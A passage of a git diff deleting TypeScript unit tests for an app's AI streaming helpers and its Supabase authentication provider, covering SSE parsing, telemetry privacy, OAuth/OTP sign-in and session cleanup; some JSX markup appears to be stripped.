undefined, null, false, { onDraft: (draft) => second.push(draft) }); - liveOfRequest!.onDraft({ speech: { content: 'Who pays' } }); - release(); - - const [a, b] = await Promise.all([firstCall, secondCall]); - expect(a).toEqual(b); - expect(first).toEqual([{ speech: { content: 'Who' } }, { speech: { content: 'Who pays' } }]); - expect(second).toEqual([{ speech: { content: 'Who' } }, { speech: { content: 'Who pays' } }]); - }); -}); diff --git a/src/test/ai/streaming.test.ts b/src/test/ai/streaming.test.ts deleted file mode 100644 index ec0707804..000000000 --- a/src/test/ai/streaming.test.ts +++ /dev/null @@ -1,305 +0,0 @@ -import { beforeEach, describe, expect, it, afterEach, vi } from 'vitest'; -import { supabaseMock, resetMockState, setMockSessionToken } from '../mocks/supabase'; - -const { captureExceptionMock, captureProductEventMock } = vi.hoisted(() => ({ - captureExceptionMock: vi.fn(), - captureProductEventMock: vi.fn(), -})); - -vi.mock('@/lib/observability', () => ({ - captureException: captureExceptionMock, - captureProductEvent: captureProductEventMock, -})); - -vi.mock('@/lib/supabase/client', () => ({ - getActiveAccessToken: (): string | null => null, - supabase: supabaseMock, - SUPABASE_URL: 'http://test-supabase.local', -})); - -import { consumeSSEChunk, isAskStreamingSupported, streamAskChat } from '@/lib/ai/streaming'; -import { useSettingsStore } from '@/lib/stores/settings-store'; - -function streamFromChunks(chunks: string[]): ReadableStream { - const encoder = new TextEncoder(); - let index = 0; - return new ReadableStream({ - pull(controller) { - if (index >= chunks.length) { - controller.close(); - return; - } - controller.enqueue(encoder.encode(chunks[index])); - index += 1; - }, - }); -} - -function mockFetchOnce(body: BodyInit | null, init: ResponseInit = { status: 200 }) { - const fetchMock = vi.fn(async () => new Response(body, init)); - vi.stubGlobal('fetch', fetchMock); - return fetchMock; -} - -const streamConfig = { provider: 'openrouter', model: 'gpt-5.4-mini' } as const; -const streamOptions = {}; - -beforeEach(() => { - resetMockState(); - setMockSessionToken('test-token'); - useSettingsStore.setState({ outputLanguage: 'hu' }); - vi.clearAllMocks(); -}); - -afterEach(() => { - vi.unstubAllGlobals(); -}); - -describe('AI streaming helpers', () => { - it('parses complete SSE events', () => { - const result = consumeSSEChunk('', 'event: delta\ndata: {"text":"Hello"}\n\n'); - - expect(result.buffer).toBe(''); - expect(result.events).toEqual([{ event: 'delta', data: { text: 'Hello' } }]); - }); - - it('keeps partial SSE events buffered until complete', () => { - const first = consumeSSEChunk('', 'event: delta\ndata: {"text":"Hel'); - expect(first.events).toEqual([]); - expect(first.buffer).toContain('Hel'); - - const second = consumeSSEChunk(first.buffer, 'lo"}\n\n'); - expect(second.events).toEqual([{ event: 'delta', data: { text: 'Hello' } }]); - expect(second.buffer).toBe(''); - }); - - it('falls back to raw data string when SSE payload is not valid JSON', () => { - const result = consumeSSEChunk('', 'event: status\ndata: not-json-payload\n\n'); - expect(result.events).toEqual([{ event: 'status', data: 'not-json-payload' }]); - }); - - it('parses multiple events in a single chunk', () => { - const chunk = 'event: delta\ndata: {"text":"A"}\n\nevent: delta\ndata: {"text":"B"}\n\n'; - const result = consumeSSEChunk('', chunk); - expect(result.events).toEqual([ - { event: 'delta', data: { text: 'A' } }, - { event: 'delta', data: { text: 'B' } }, - ]); - }); - - it('enables streaming for basic OpenRouter ask chats', () => { - expect(isAskStreamingSupported({ provider: 'openrouter', model: 'openai/gpt-6-luna' })).toBe(true); - expect(isAskStreamingSupported({ provider: 'openai', model: 'gpt-5.4-mini' })).toBe(false); - expect(isAskStreamingSupported({ provider: 'google', model: 'gemini-3-flash-preview' })).toBe(false); - expect(isAskStreamingSupported({ provider: 'anthropic', model: 'claude-haiku-4-5-20251001' })).toBe(false); - expect(isAskStreamingSupported({ provider: 'unknown' as string, model: 'x' })).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { citationMode: true } - )).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { webSearch: true } - )).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { prosConsMode: true } - )).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { argumentMapMode: true } - )).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { mode: 'clarify' } - )).toBe(false); - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { mode: 'general' } - )).toBe(true); - for (const mode of ['clarify', 'summarize', 'proscons', 'argumentmap']) { - expect(isAskStreamingSupported( - { provider: 'openrouter', model: 'openai/gpt-6-luna' }, - { mode } - )).toBe(false); - } - }); - - describe('telemetry', () => { - it('emits comparable success events without including Ask input', async () => { - const fetchMock = mockFetchOnce(streamFromChunks([ - 'event: delta\ndata: {"text":"answer"}\n\n', - 'event: final\ndata: {"output":{"response":"answer","followUpQuestions":[],"uncertainties":[]}}\n\n', - ])); - - await streamAskChat( - 'private question', - [{ role: 'user', content: 'private history' }], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined }, - ); - - expect(captureProductEventMock).toHaveBeenNthCalledWith(1, 'ai_request_started', { - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - }); - expect(captureProductEventMock).toHaveBeenNthCalledWith(2, 'ai_request_succeeded', expect.objectContaining({ - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - durationMs: expect.any(Number), - })); - expect(captureExceptionMock).not.toHaveBeenCalled(); - const fetchCall = fetchMock.mock.calls[0] as unknown as [RequestInfo | URL, RequestInit]; - const requestBody = JSON.parse(String(fetchCall[1].body)); - expect(requestBody.input.language).toBe('hu'); - expect(JSON.stringify(captureProductEventMock.mock.calls)).not.toContain('private question'); - expect(JSON.stringify(captureProductEventMock.mock.calls)).not.toContain('private history'); - }); - - it('records unexpected provider failures and sends them to Sentry', async () => { - mockFetchOnce(streamFromChunks([ - 'event: error\ndata: {"message":"OpenAI exploded for private question"}\n\n', - ])); - - await expect(streamAskChat( - 'private question', - [], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined }, - )).rejects.toMatchObject({ name: 'AIProviderError' }); - - expect(captureProductEventMock).toHaveBeenNthCalledWith(2, 'ai_request_failed', expect.objectContaining({ - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - durationMs: expect.any(Number), - errorName: 'AIProviderError', - statusCode: 500, - })); - expect(captureExceptionMock).toHaveBeenCalledTimes(1); - expect(captureExceptionMock).toHaveBeenCalledWith( - expect.objectContaining({ name: 'AIProviderError' }), - expect.objectContaining({ errorName: 'AIProviderError', statusCode: 500 }), - ); - const [capturedError, capturedContext] = captureExceptionMock.mock.calls[0]; - expect(capturedError).toMatchObject({ message: 'AIProviderError' }); - expect(JSON.stringify(capturedContext)).not.toContain('private question'); - }); - - it.each([ - ['auth', 401, { error: 'Unauthorized' }, 'AIAuthError'], - ['rate limit', 429, { error: 'Rate limit exceeded' }, 'AIRateLimitError'], - ['subscription', 402, { error: 'Trial expired', code: 'trial_expired' }, 'AISubscriptionError'], - ['model restriction', 403, { error: 'Upgrade required', code: 'upgrade_required' }, 'AIModelRestrictionError'], - ] as const)('does not send expected %s failures to Sentry', async (_label, status, payload, errorName) => { - mockFetchOnce(JSON.stringify(payload), { status }); - - await expect(streamAskChat( - 'private question', - [], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined }, - )).rejects.toMatchObject({ name: errorName }); - - expect(captureProductEventMock).toHaveBeenNthCalledWith(2, 'ai_request_failed', expect.objectContaining({ - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - errorName, - statusCode: status, - })); - expect(captureExceptionMock).not.toHaveBeenCalled(); - }); - - it('records an unauthenticated attempt as an expected auth failure', async () => { - setMockSessionToken(null); - - await expect(streamAskChat( - 'private question', - [], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined }, - )).rejects.toMatchObject({ name: 'AIAuthError' }); - - expect(captureProductEventMock).toHaveBeenNthCalledWith(2, 'ai_request_failed', expect.objectContaining({ - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - errorName: 'AIAuthError', - })); - expect(captureExceptionMock).not.toHaveBeenCalled(); - }); - - it('records caller aborts without sending them to Sentry', async () => { - supabaseMock.auth.getSession.mockImplementationOnce(() => new Promise(() => undefined)); - const controller = new AbortController(); - const request = streamAskChat( - 'private question', - [], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined, signal: controller.signal }, - ); - controller.abort(); - - await expect(request).rejects.toMatchObject({ name: 'AbortError' }); - expect(captureProductEventMock).toHaveBeenNthCalledWith(2, 'ai_request_failed', expect.objectContaining({ - feature: 'ask', - streaming: true, - provider: 'openrouter', - model: 'gpt-5.4-mini', - errorName: 'AbortError', - })); - expect(captureExceptionMock).not.toHaveBeenCalled(); - }); - - it('does not report success when cancellation settles a pending stream read', async () => { - const controller = new AbortController(); - const encoder = new TextEncoder(); - const body = new ReadableStream({ - start(streamController) { - streamController.enqueue(encoder.encode( - 'event: final\ndata: {"output":{"response":"answer","followUpQuestions":[],"uncertainties":[]}}\n\n', - )); - setTimeout(() => controller.abort(), 0); - }, - }); - mockFetchOnce(body); - - await expect(streamAskChat( - 'private question', - [], - 'general', - streamConfig, - streamOptions, - { onDelta: () => undefined, signal: controller.signal }, - )).rejects.toMatchObject({ name: 'AbortError' }); - - expect(captureProductEventMock).toHaveBeenLastCalledWith( - 'ai_request_failed', - expect.objectContaining({ errorName: 'AbortError', streaming: true }), - ); - expect(captureProductEventMock).not.toHaveBeenCalledWith( - 'ai_request_succeeded', - expect.anything(), - ); - expect(captureExceptionMock).not.toHaveBeenCalled(); - }); - }); -}); diff --git a/src/test/auth/AuthProvider.behavior.test.tsx b/src/test/auth/AuthProvider.behavior.test.tsx deleted file mode 100644 index bccb1bff2..000000000 --- a/src/test/auth/AuthProvider.behavior.test.tsx +++ /dev/null @@ -1,1237 +0,0 @@ -/* eslint-disable @typescript-eslint/no-explicit-any */ -import { useState } from 'react'; -import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'; -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const { - getSessionMock, - getUserMock, - onAuthStateChangeMock, - signInWithOAuthMock, - signInWithOtpMock, - verifyOtpMock, - functionsInvokeMock, - setSessionMock, - exchangeCodeForSessionMock, - signOutMock, - unsubscribeMock, - hydrateSessionStoreMock, - prepareSessionStoreMock, - hydrateSettingsStoreMock, - prepareSettingsStoreMock, - resetSessionStoreMock, - clearSessionStoreMock, - resetSettingsStoreMock, - hydrateSparringStoreMock, - prepareSparringStoreMock, - resetSparringStoreMock, - callbackRef, - openExternalUrlMock, -} = vi.hoisted(() => { - const getSessionMock = vi.fn(); - const getUserMock = vi.fn(); - const onAuthStateChangeMock = vi.fn(); - const signInWithOAuthMock = vi.fn(); - const signInWithOtpMock = vi.fn(); - const verifyOtpMock = vi.fn(); - const functionsInvokeMock = vi.fn(); - const setSessionMock = vi.fn(); - const exchangeCodeForSessionMock = vi.fn(); - const signOutMock = vi.fn(); - const unsubscribeMock = vi.fn(); - const hydrateSessionStoreMock = vi.fn(); - const prepareSessionStoreMock = vi.fn(); - const hydrateSettingsStoreMock = vi.fn(); - const prepareSettingsStoreMock = vi.fn(); - const resetSessionStoreMock = vi.fn(); - const clearSessionStoreMock = vi.fn(); - const resetSettingsStoreMock = vi.fn(); - const hydrateSparringStoreMock = vi.fn(); - const prepareSparringStoreMock = vi.fn(); - const resetSparringStoreMock = vi.fn(); - const callbackRef: { current: ((event: string, session: any) => void) | null } = { current: null }; - const openExternalUrlMock = vi.fn(); - - onAuthStateChangeMock.mockImplementation((callback: (event: string, session: any) => void) => { - callbackRef.current = callback; - return { data: { subscription: { unsubscribe: unsubscribeMock } } }; - }); - - return { - getSessionMock, - getUserMock, - onAuthStateChangeMock, - signInWithOAuthMock, - signInWithOtpMock, - verifyOtpMock, - functionsInvokeMock, - setSessionMock, - exchangeCodeForSessionMock, - signOutMock, - unsubscribeMock, - hydrateSessionStoreMock, - prepareSessionStoreMock, - hydrateSettingsStoreMock, - prepareSettingsStoreMock, - resetSessionStoreMock, - clearSessionStoreMock, - resetSettingsStoreMock, - hydrateSparringStoreMock, - prepareSparringStoreMock, - resetSparringStoreMock, - callbackRef, - openExternalUrlMock, - }; -}); - -vi.mock('@/lib/supabase/client', () => ({ - AUTH_STORAGE_KEY: 'debate-auth-production', - SUPABASE_URL: 'https://example.supabase.co', - setActiveAccessToken: vi.fn(), - supabase: { - auth: { - getSession: getSessionMock, - getUser: getUserMock, - onAuthStateChange: onAuthStateChangeMock, - signInWithOAuth: signInWithOAuthMock, - signInWithOtp: signInWithOtpMock, - verifyOtp: verifyOtpMock, - setSession: setSessionMock, - exchangeCodeForSession: exchangeCodeForSessionMock, - signOut: signOutMock, - }, - functions: { - invoke: functionsInvokeMock, - }, - }, -})); - -vi.mock('@/lib/native', () => ({ - openExternalUrl: openExternalUrlMock, -})); - -vi.mock('@/lib/stores/session-store', () => ({ - useSessionStore: (selector: (state: any) => any) => selector({ - hydrateFromServer: hydrateSessionStoreMock, - prepareForUser: prepareSessionStoreMock, - resetLocalData: resetSessionStoreMock, - clearSession: clearSessionStoreMock, - }), -})); - -vi.mock('@/lib/stores/settings-store', () => ({ - useSettingsStore: (selector: (state: any) => any) => selector({ - hydrateFromServer: hydrateSettingsStoreMock, - prepareForUser: prepareSettingsStoreMock, - resetLocalData: resetSettingsStoreMock, - }), -})); - -vi.mock('@/lib/stores/sparring-store', () => ({ - useSparringStore: (selector: (state: any) => any) => selector({ - hydrateSavedSessions: hydrateSparringStoreMock, - prepareForUser: prepareSparringStoreMock, - resetLocalData: resetSparringStoreMock, - }), -})); - -import { AuthProvider, useAuth } from '@/lib/supabase/AuthProvider'; -import { resetSessionExpiryCheck } from '@/lib/supabase/session-expiry'; -import { crossfireStorageKey } from '@/lib/crossfire/storage'; -import { useDebateStore } from '@/lib/stores/debate-store'; - -function AuthConsumer() { - const { loading, user, callbackError, signInWithGoogle, signOut } = useAuth(); - - return ( -
-
{String(loading)}
-
{user?.id ?? 'none'}
-
{callbackError ?? 'none'}
- - - -
- ); -} - -function PasswordlessAuthConsumer() { - const { signInWithEmailOtp, verifyEmailOtp, signInWithDemoCode } = useAuth(); - const [error, setError] = useState(''); - - return ( -
- - - - {error} -
- ); -} - -function SignInErrorConsumer() { - const { signInWithGoogle } = useAuth(); - const [error, setError] = useState(''); - - return ( -
- -
{error}
-
- ); -} - -describe('AuthProvider behavior', () => { - beforeEach(() => { - window.history.replaceState({}, '', '/'); - localStorage.clear(); - vi.clearAllMocks(); - callbackRef.current = null; - hydrateSessionStoreMock.mockResolvedValue(undefined); - hydrateSettingsStoreMock.mockResolvedValue(undefined); - hydrateSparringStoreMock.mockResolvedValue(undefined); - resetSessionExpiryCheck(); - // No status: a lookup that did not answer is an outage, so the local session stands. - // A user id here would also win currentUserId() over the session the test arranged. - getUserMock.mockResolvedValue({ data: { user: null }, error: { message: 'unavailable' } }); - getSessionMock.mockResolvedValue({ data: { session: null }, error: null }); - setSessionMock.mockResolvedValue({ data: { session: null }, error: null }); - exchangeCodeForSessionMock.mockResolvedValue({ data: { session: null }, error: null }); - signInWithOtpMock.mockResolvedValue({ data: { user: null, session: null }, error: null }); - verifyOtpMock.mockResolvedValue({ data: { user: null, session: null }, error: null }); - functionsInvokeMock.mockResolvedValue({ data: { email: 'demo@example.com', tokenHash: 'hash', type: 'magiclink' }, error: null }); - openExternalUrlMock.mockResolvedValue(undefined); - }); - - it('signs out once and does not load data when the user lookup is refused', async () => { - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_1' }, access_token: 'token' } }, - error: null, - }); - getUserMock.mockResolvedValue({ data: { user: null }, error: { status: 403, message: 'Forbidden' } }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - expect(screen.getByTestId('user')).toHaveTextContent('none'); - expect(signOutMock).toHaveBeenCalledTimes(1); - expect(signOutMock).toHaveBeenCalledWith({ scope: 'local' }); - expect(hydrateSessionStoreMock).not.toHaveBeenCalled(); - expect(hydrateSettingsStoreMock).not.toHaveBeenCalled(); - expect(hydrateSparringStoreMock).not.toHaveBeenCalled(); - - await act(async () => { - callbackRef.current?.('SIGNED_IN', { user: { id: 'user_1' }, access_token: 'token' }); - }); - - expect(signOutMock).toHaveBeenCalledTimes(1); - expect(hydrateSessionStoreMock).not.toHaveBeenCalled(); - expect(hydrateSettingsStoreMock).not.toHaveBeenCalled(); - expect(hydrateSparringStoreMock).not.toHaveBeenCalled(); - expect(screen.getByTestId('user')).toHaveTextContent('none'); - }); - - it('hydrates stores when an initial session exists', async () => { - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_1' }, access_token: 'token' } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - expect(screen.getByTestId('user')).toHaveTextContent('user_1'); - expect(hydrateSessionStoreMock).toHaveBeenCalled(); - expect(prepareSessionStoreMock).toHaveBeenCalledWith('user_1'); - expect(hydrateSettingsStoreMock).toHaveBeenCalled(); - expect(prepareSettingsStoreMock).toHaveBeenCalledWith('user_1'); - expect(prepareSparringStoreMock).toHaveBeenCalledWith('user_1'); - expect(hydrateSparringStoreMock).toHaveBeenCalled(); - expect(onAuthStateChangeMock).toHaveBeenCalled(); - }); - - it('does not rehydrate stores for an auth event with the same user', async () => { - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_1' }, access_token: 'token' } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - await act(async () => { - callbackRef.current?.('INITIAL_SESSION', { user: { id: 'user_1' }, access_token: 'token' }); - }); - - expect(hydrateSessionStoreMock).toHaveBeenCalledTimes(1); - expect(prepareSessionStoreMock).toHaveBeenCalledTimes(1); - expect(hydrateSettingsStoreMock).toHaveBeenCalledTimes(1); - expect(prepareSettingsStoreMock).toHaveBeenCalledTimes(1); - expect(prepareSparringStoreMock).toHaveBeenCalledTimes(1); - expect(hydrateSparringStoreMock).toHaveBeenCalledTimes(1); - }); - - it('clears user data but preserves the interface language on cold signed-out startup', async () => { - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - await act(async () => { - callbackRef.current?.('INITIAL_SESSION', null); - }); - - expect(resetSessionStoreMock).toHaveBeenCalled(); - expect(resetSettingsStoreMock).toHaveBeenCalledWith(true); - expect(resetSparringStoreMock).toHaveBeenCalled(); - - await act(async () => { - callbackRef.current?.('SIGNED_IN', { user: { id: 'user_2' }, access_token: 'token' }); - }); - - expect(hydrateSessionStoreMock).toHaveBeenCalled(); - expect(prepareSessionStoreMock).toHaveBeenCalledWith('user_2'); - expect(hydrateSettingsStoreMock).toHaveBeenCalled(); - expect(prepareSettingsStoreMock).toHaveBeenCalledWith('user_2'); - expect(prepareSparringStoreMock).toHaveBeenCalledWith('user_2'); - }); - - it('drops another account\'s current debate before the app unlocks', async () => { - useDebateStore.setState({ - ownerUserId: 'user_a', - debates: [{ - id: 'debate-a', - motion: 'Secret motion', - settings: {}, - instructions: '', - lastActivityAt: 1, - createdAt: 1, - }], - currentDebateId: 'debate-a', - }); - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_b' }, access_token: 'token' } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - expect(useDebateStore.getState().ownerUserId).toBe('user_b'); - expect(useDebateStore.getState().debates).toEqual([]); - expect(useDebateStore.getState().currentDebateId).toBeNull(); - }); - - it('removes refresh tokens persisted by older clients during startup', async () => { - localStorage.setItem('google_provider_refresh_token', 'legacy-refresh-token'); - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_1' }, access_token: 'token' } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - expect(localStorage.getItem('google_provider_refresh_token')).toBeNull(); - }); - - it('logs getSession errors and keeps provider usable', async () => { - const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); - - getSessionMock.mockResolvedValueOnce({ - data: { session: null }, - error: { message: 'session lookup failed' }, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - expect(warnSpy).toHaveBeenCalledWith('[Auth] getSession error:', 'session lookup failed'); - warnSpy.mockRestore(); - }); - - it('keeps provider access tokens only for the browser session', async () => { - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'existing-user' } } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - await act(async () => { - callbackRef.current?.('SIGNED_IN', { - user: { id: 'existing-user' }, - provider_token: 'provider-token', - provider_refresh_token: 'provider-refresh-token', - }); - }); - - expect(sessionStorage.getItem('google_provider_token')).toBe('provider-token'); - expect(localStorage.getItem('google_provider_token')).toBeNull(); - expect(localStorage.getItem('google_provider_refresh_token')).toBeNull(); - expect(hydrateSessionStoreMock).toHaveBeenCalled(); - expect(hydrateSettingsStoreMock).toHaveBeenCalled(); - }); - - it('resets stores and clears provider tokens when signed out', async () => { - sessionStorage.setItem('google_provider_token', 't'); - localStorage.setItem('google_provider_refresh_token', 'r'); - localStorage.setItem(crossfireStorageKey('user_2'), 'crossfire-draft'); - - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_2' } } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - await act(async () => { - callbackRef.current?.('SIGNED_OUT', null); - }); - - expect(resetSessionStoreMock).toHaveBeenCalled(); - expect(resetSettingsStoreMock).toHaveBeenCalled(); - expect(sessionStorage.getItem('google_provider_token')).toBeNull(); - expect(localStorage.getItem('google_provider_token')).toBeNull(); - expect(localStorage.getItem('google_provider_refresh_token')).toBeNull(); - expect(localStorage.getItem(crossfireStorageKey('user_2'))).toBeNull(); - }); - - it('resets stores when auth state changes to a different user', async () => { - localStorage.setItem(crossfireStorageKey('user_old'), 'old-draft'); - localStorage.setItem(crossfireStorageKey('user_new'), 'new-draft'); - getSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'user_old' } } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('user')).toHaveTextContent('user_old'); - }); - - await act(async () => { - callbackRef.current?.('TOKEN_REFRESHED', { user: { id: 'user_new' } }); - }); - - expect(resetSessionStoreMock).toHaveBeenCalled(); - expect(resetSettingsStoreMock).toHaveBeenCalled(); - expect(localStorage.getItem(crossfireStorageKey('user_old'))).toBeNull(); - expect(localStorage.getItem(crossfireStorageKey('user_new'))).toBe('new-draft'); - }); - - it('signInWithGoogle gets a Supabase OAuth URL and redirects', async () => { - signInWithOAuthMock.mockResolvedValue({ - data: { url: 'https://accounts.google.com/o/oauth2/v2/auth?client_id=test' }, - error: null, - }); - - render( - - - - ); - - fireEvent.click(screen.getByRole('button', { name: 'sign-in' })); - - await waitFor(() => { - expect(signInWithOAuthMock).toHaveBeenCalledWith({ - provider: 'google', - options: { - redirectTo: `${window.location.origin}/auth/callback`, - skipBrowserRedirect: true, - queryParams: undefined, - }, - }); - }); - }); - - it('does not request an offline token grant for Drive access', async () => { - signInWithOAuthMock.mockResolvedValue({ - data: { url: 'https://accounts.google.com/o/oauth2/v2/auth?client_id=test' }, - error: null, - }); - - render( - - - - ); - - fireEvent.click(screen.getByRole('button', { name: 'sign-in-with-drive' })); - - await waitFor(() => { - expect(signInWithOAuthMock).toHaveBeenCalledWith({ - provider: 'google', - options: { - redirectTo: `${window.location.origin}/auth/callback`, - skipBrowserRedirect: true, - scopes: 'https://www.googleapis.com/auth/drive.file', - queryParams: undefined, - }, - }); - }); - }); - - it('allows email OTP signup for the normalized email address', async () => { - render( - - - , - ); - - fireEvent.click(screen.getByRole('button', { name: 'email-otp' })); - - await waitFor(() => { - expect(signInWithOtpMock).toHaveBeenCalledWith({ - email: 'student@example.com', - options: { shouldCreateUser: true, emailRedirectTo: `${window.location.origin}/auth/callback` }, - }); - }); - }); - - it('verifies an email OTP with the normalized email and token', async () => { - render( - - - , - ); - - fireEvent.click(screen.getByRole('button', { name: 'verify-email-otp' })); - - await waitFor(() => { - expect(verifyOtpMock).toHaveBeenCalledWith({ - email: 'student@example.com', - token: '123456', - type: 'email', - }); - }); - }); - - it('redeems a demo code and verifies the returned magic-link handoff', async () => { - render( - - - , - ); - - fireEvent.click(screen.getByRole('button', { name: 'demo-code' })); - - await waitFor(() => { - expect(functionsInvokeMock).toHaveBeenCalledWith('demo-code-login', { - body: { - code: 'DEMO-AB12-CD34', - browserFingerprint: expect.any(String), - }, - }); - expect(verifyOtpMock).toHaveBeenCalledWith({ - token_hash: 'hash', - type: 'magiclink', - }); - }); - }); - - it('surfaces a demo-code denial returned by the Edge Function', async () => { - functionsInvokeMock.mockResolvedValue({ - data: null, - error: { context: new Response(JSON.stringify({ error: 'This demo code has expired.' })) }, - }); - render( - - - , - ); - - fireEvent.click(screen.getByRole('button', { name: 'demo-code' })); - - await waitFor(() => expect(screen.getByTestId('passwordless-error')).toHaveTextContent('This demo code has expired.')); - }); - - it('rejects an invalid demo-code session handoff', async () => { - functionsInvokeMock.mockResolvedValue({ data: { tokenHash: 'hash', type: 'magiclink' }, error: null }); - render( - - - , - ); - - fireEvent.click(screen.getByRole('button', { name: 'demo-code' })); - - await waitFor(() => expect(screen.getByTestId('passwordless-error')).toHaveTextContent('invalid session handoff')); - }); - - it('exchanges the callback code with its own flow verifier and keeps the deep link', async () => { - window.history.replaceState({}, '', '/auth/callback?code=pkce-code&sb_flow_id=0123456789abcdef&next=%2Fapp%2Fhistory'); - exchangeCodeForSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'pkce-user' } } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('user')).toHaveTextContent('pkce-user'); - }); - - expect(exchangeCodeForSessionMock).toHaveBeenCalledWith('pkce-code', { flowId: '0123456789abcdef' }); - expect(window.location.search).toBe('?next=%2Fapp%2Fhistory'); - }); - - it('keeps Google\'s provider token and drops the previous account\'s draft after a callback sign-in', async () => { - sessionStorage.removeItem('google_provider_token'); - localStorage.setItem(crossfireStorageKey('stored-user'), '{"draft":true}'); - window.history.replaceState({}, '', '/auth/callback?code=pkce-code'); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - act(() => callbackRef.current?.('INITIAL_SESSION', { user: { id: 'stored-user' }, access_token: 'stored' })); - await act(async () => { - finishExchange({ data: { session: { user: { id: 'google-user' }, access_token: 'token', provider_token: 'google-access' } }, error: null }); - }); - - await waitFor(() => expect(screen.getByTestId('user')).toHaveTextContent('google-user')); - expect(sessionStorage.getItem('google_provider_token')).toBe('google-access'); - expect(localStorage.getItem(crossfireStorageKey('stored-user'))).toBeNull(); - }); - - it('exchanges a callback code without a flow id the old way', async () => { - window.history.replaceState({}, '', '/auth/callback?code=pkce-code'); - exchangeCodeForSessionMock.mockResolvedValue({ - data: { session: { user: { id: 'pkce-user' } } }, - error: null, - }); - - render( - - - - ); - - await waitFor(() => { - expect(screen.getByTestId('user')).toHaveTextContent('pkce-user'); - }); - expect(exchangeCodeForSessionMock).toHaveBeenCalledWith('pkce-code', undefined); - expect(window.location.search).toBe(''); - }); - - it('stays loading while the callback exchange runs, even when auth reports no session yet', async () => { - window.history.replaceState({}, '', '/auth/callback?code=pkce-code'); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - // auth-js announces the empty stored session while the code is still being exchanged. - act(() => callbackRef.current?.('INITIAL_SESSION', null)); - expect(screen.getByTestId('loading')).toHaveTextContent('true'); - // A reload during the spinner must still find the unused code and its flow. - expect(window.location.search).toBe('?code=pkce-code'); - - await act(async () => { - finishExchange({ data: { session: { user: { id: 'pkce-user' }, access_token: 'token' } }, error: null }); - }); - - await waitFor(() => expect(screen.getByTestId('user')).toHaveTextContent('pkce-user')); - expect(screen.getByTestId('loading')).toHaveTextContent('false'); - }); - - it('stays loading through the stored session\'s events until another account\'s callback exchange settles', async () => { - window.history.replaceState({}, '', '/auth/callback?code=pkce-code'); - let finishExchange!: (value: unknown) => void; - exchangeCodeForSessionMock.mockReturnValue(new Promise((resolve) => { finishExchange = resolve; })); - - render( - - - - ); - - // auth-js restores the account already stored in this browser while B's code is exchanged. - act(() => callbackRef.current?.('INITIAL_SESSION', { user: { id: 'stored-user' }, access_token: 'stored' })); - expect(screen.getByTestId('loading')).toHaveTextContent('true'); - - await act(async () => { - finishExchange({ data: { session: { user: { id: 'callback-user' }, access_token: 'token' } }, error: null }); - }); - await waitFor(() => expect(screen.getByTestId('loading')).toHaveTextContent('false')); - expect(screen.getByTestId('user')).toHaveTextContent('callback-user'); - }); - - it('ends the callback wait when the stored session\'s user lookup never answers', async () => { - vi.useFakeTimers(); - try { - window.history.replaceState({}, '', '/auth/callback?error=access_denied&error_code=otp_expired'); - getSessionMock.mockResolvedValue({ data: { session: { user: { id: 'stored-user' }, access_token: 'stored' } }, error: null }); - getUserMock.mockReturnValue(new Promise(() => {})); - - render( - - - - ); - - await act(async () => { - await vi.advanceTimersByTimeAsync(4_000); - }); - // Auth did not answer: 